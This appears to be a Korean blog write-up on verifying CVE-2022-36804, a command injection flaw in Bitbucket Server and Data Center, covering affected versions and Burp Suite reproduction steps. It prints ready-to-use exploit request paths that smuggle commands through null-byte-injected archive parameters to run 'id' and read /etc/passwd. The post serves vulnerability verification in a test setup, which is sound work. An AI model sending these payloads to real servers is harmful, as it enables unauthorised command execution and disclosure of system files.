Confluence Atlassian Bitbucket server & Datacenter 에서 Command injection 취약점이 발견되었고 이 취약점을 확인해야하는 사람들을 위해 빠르게 검증할 수 있는 방법을 제시하고자 작성하였습니다.
Summary
다수의 API 엔드포인트의 입력 값에 대한 검증이 미흡하게 설계되어 (아래 2가지 권한을 가진 경우) HTTP 통신 간 요청 값을 조작하여 시스템 내부에 명령어 실행 및 자원 획득이 가능합니다.
- Public repository
- with read permissions to a private Bitbuckt repository
(비인증 접근은 불가능:세션 검증 프로세스가 있음)
Affected Versions
- Bitbucket Server & Data center 7.10.17 이후 릴리스 된 모든 버전
- Bitbucket Sever & Data center 7.0.0 ~ 8.3.0 버전 취약성 영향
Fixed Versions
Bitbucket Server and Data Center Advisory 2022-08-24 | Bitbucket Data Center and Server 8.12 | Atlassian Documentation
confluence.atlassian.com
💻 공격 시연
설명
Multiple API Endpoint HTTP 요청 시 추가인수에 Null byte(%00)를 추가하여 명령어를 실행시킬 수 있습니다.
아래 #환경구성 내용을 통해 테스트 환경 구축이 가능합니다.
테스트 시
Attackerkb cve-2022-36804 내용을 기반으로 검증하고 싶었으나,
관련 테스트 환경 구성 시 많은 리소스가 필요해 내용 참고 후 간단하게 검증하였습니다.
검증단계
1) Bitbucket repository 에서 test_repo 페이지 접근 (Proxy 설정)

2) Burp Suite 에서 인터셉트 된 패킷을 Repeter 로 복사

3) %00을 삽입한 HTTP 요청 만들기
1. 패킷에 복사한 test_repo 의 경로 /projects/TEST/repos/test_repo
2. Bitbucket rest api 경로 /rest/api/latest/
3. 추가 인수에 %00 삽입한 공격문 작성 /archive?filename=&at=test&path=&prefix=rebugger%00--exec=%60id%60%00--remote=origin
4. 조합 /[bitbucket rest api 경로]/[복사한 repository 경로]/[추가인수]
5. 응용 * id 확인(--exec=%id%60%00--remote=origin) /rest/api/latest/projects/TEST/repos/test_repo/archive?filename=&at=test&path=&prefix=rebugger%00--exec=%60id%60%00--remote=origin * /etc/passwd 확인(--exec=%60cat%20%2fetc%2fpasswd%60%00--remote=origin) /rest/api/latest/projects/TEST/repos/test_repo/archive?filename=&at=test&path=&prefix=rebugger%00--exec=%60cat%20%2fetc%2fpasswd%60%00--remote=origin
4) 패킷 요청(id 확인)

5) 패킷 요청(/etc/passwd 확인)

🛠 환경구성
자세한 내용은 https://velog.io/@rebugger/CVE-2022-36804
CVE-2022-36804
CVE-2022-36804 빠른 PoC 검증이 필요하면 버프만 켜서 확인해보자
velog.io